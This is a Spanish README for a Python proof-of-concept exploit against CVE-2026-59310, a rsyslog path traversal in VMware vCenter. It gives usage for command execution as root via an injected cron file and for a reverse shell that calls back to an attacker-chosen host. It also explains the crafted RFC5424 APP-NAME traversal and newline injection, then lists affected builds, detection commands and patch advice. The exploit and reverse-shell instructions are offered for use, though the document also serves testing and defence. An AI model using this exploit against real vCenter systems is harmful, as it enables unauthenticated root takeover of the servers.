
Prueba de concepto en Python para CVE-2026-59310: explota el path traversal de rsyslog en vCenter para escribir archivos y ejecutar comandos como root mediante cron, con modos check, exec, shell y cleanup.
English | 中文
Fork optimizado de ChinaRan0/CVE-2026-59310-POC. El análisis de la vulnerabilidad sigue a ese proyecto. Este árbol reelabora el cliente y la documentación para pruebas autorizadas: subcomandos, una tarea cron de un solo uso y una shell interactiva sobre un PTY remoto.
Solo para uso autorizado. Ejecuta esto únicamente contra sistemas para los que tengas permiso escrito explícito de prueba. Eres responsable de cumplir con la legislación local y de cualquier impacto sobre el objetivo.
| CVE | CVE-2026-59310 |
| Aviso | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Crítico |
| Debilidad | Path traversal en rsyslog de vCenter → escritura arbitraria de archivos → ejecución de código como root |
| Privilegios requeridos | Ninguno. Basta con acceso de red a syslog (UDP/TCP 514) |
| Corregido en | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| Upstream | ChinaRan0/CVE-2026-59310-POC |
| Upstream | Este fork | |
|---|---|---|
| CLI | -c, --lhost y --check en un solo parser | Subcomandos check, exec, shell, cleanup |
| Cron | Se repite cada minuto | Elimina su propio archivo y luego se ejecuta una vez |
| Entrecomillado | Texto del comando concatenado en la shell | shlex.quote, de modo que las comillas no pueden dividir la línea de cron |
| Shell | Prompt falso local, línea a línea | PTY remoto, retransmisión de pulsaciones de teclas, colores remotos y autocompletado con Tab |
| Limpieza | Imprimía sugerencias de rm | Coloca una tarea de un solo uso que elimina los artefactos para --id |
| Listener | Vinculado a 0.0.0.0 | --bind selecciona la dirección local |
shell necesita python3 en el objetivo. vCenter Server Appliance lo incluye. La sesión usa pty.spawn para que la shell tenga un terminal real.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec y shell escriben un archivo cron que crond ejecuta aproximadamente 60 segundos después, una sola vez. cleanup sin --id elimina todos los artefactos que usan el prefijo cve59310.
| Opción | Significado |
|---|---|
--port | Puerto de syslog. Por defecto 514. |
--tcp | Enviar syslog por TCP en lugar de UDP. |
--id | Id del artefacto: 1–32 caracteres, [a-z0-9]. Aleatorio si se omite. |
-q | Suprime el banner. |
exec| Opción | Significado |
|---|---|
-c / --cmd | Comando a ejecutar. La salida estándar y de error combinadas van a /tmp/cve59310_<id>.txt. |
--wait | Sondea hasta que el archivo de salida sea legible, o hasta el tiempo de espera. |
--timeout | Segundos para --wait. Por defecto 180. |
--read-command | Plantilla de argv local. {path} es la ruta de salida remota. |
--wait requiere --read-command, por ejemplo ssh root@target cat {path}. La plantilla se divide con shlex y no se pasa a través de un shell local. Un comando como a; b se agrupa como { a; b; } > file, por lo que ambas partes se capturan.
shell| Opción | Significado |
|---|---|
--lhost / --lport | Dirección y puerto a los que el objetivo se conecta de vuelta. Puerto por defecto 4444. |
--bind | Dirección de escucha local. Por defecto 0.0.0.0. |
--method {bash,python} | Qué programa abre el socket. Por defecto bash. Ambos usan luego el python3 del objetivo para asignar un PTY. |
--timeout | Segundos de espera para la conexión de retorno. Por defecto 180. |
El prompt, los colores y la autocompletación con Tab provienen del bash del objetivo. Ctrl+] cierra el lado local. exit sale del shell remoto. Ejecute shell en una terminal real; un cliente con búfer por líneas no puede completarse.
| Acción | Ruta |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log y /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, eliminado por el propio trabajo después de ejecutarse |
Anote el --id. cleanup <target> --id <id> elimina esa ejecución. Sin --id, el trabajo de limpieza elimina todo el prefijo cve59310.
| Objetivo | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Build corregido | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| Entrada | UDP/TCP 514, sin autenticación |
En esa build, check crea un archivo propiedad de root bajo /tmp, exec con id devuelve uid=0(root) tras aproximadamente un minuto, y shell presenta el prompt del objetivo (root [ / ]#, incluidos sus colores).
Cualquier versión anterior a la build corregida en su rama. vCenter independiente está afectado, al igual que los componentes de vCenter en VMware Cloud Foundation, vSphere Foundation y Telco Cloud.
| Rama | Afectado | Corregido |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | todas | Actualizar a 8.0 U3k o posterior |
| 7.0 | le falta el parche correspondiente | Obtenga el parche de Broadcom, o migre a una versión compatible |
/sdk/vimServiceVersions.xml informa el espacio de nombres de la API (a menudo 9.0.0.0), no la build del appliance. Confirme la build con /etc/vmware-release y /etc/applmgmt/appliance/version.
La configuración de rsyslog de vCenter interpola %app-name% en la ruta del registro y deja $EscapeControlCharactersOnReceive off:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 trunca APP-NAME en /. pmrfc5424 no lo hace, y el conjunto de reglas predeterminado acepta RFC5424. Por lo tanto, un APP-NAME manipulado como rsyslog/../../../../tmp/x se escribe fuera de /var/log/vmware/ como un archivo *-syslog.log propiedad de root. Un salto de línea en el cuerpo del mensaje permite que una línea de cron comience en la columna 0, por lo que crond la ejecuta como root. El nombre del archivo siempre termina en -syslog.log, por lo que el archivo de cron reside en /etc/cron.d/ en lugar de reemplazar un crontab sin sufijo.
| Analizador | Valor de %app-name% para rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
El aviso del proveedor también describe la escritura en /opt/vmware/share/htdocs/ y su lectura a través de https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
Los archivos *-syslog.log fuera de los directorios de logs, y los directorios cuyos nombres contienen .., son el residuo habitual. rsyslog crea los directorios padre que faltan cuando la plantilla sale del árbol de logs.
Actualice. En la rama 9.0, la compilación mínima corregida es 9.0.2.0100 (Build 25629525).
Hasta esa actualización: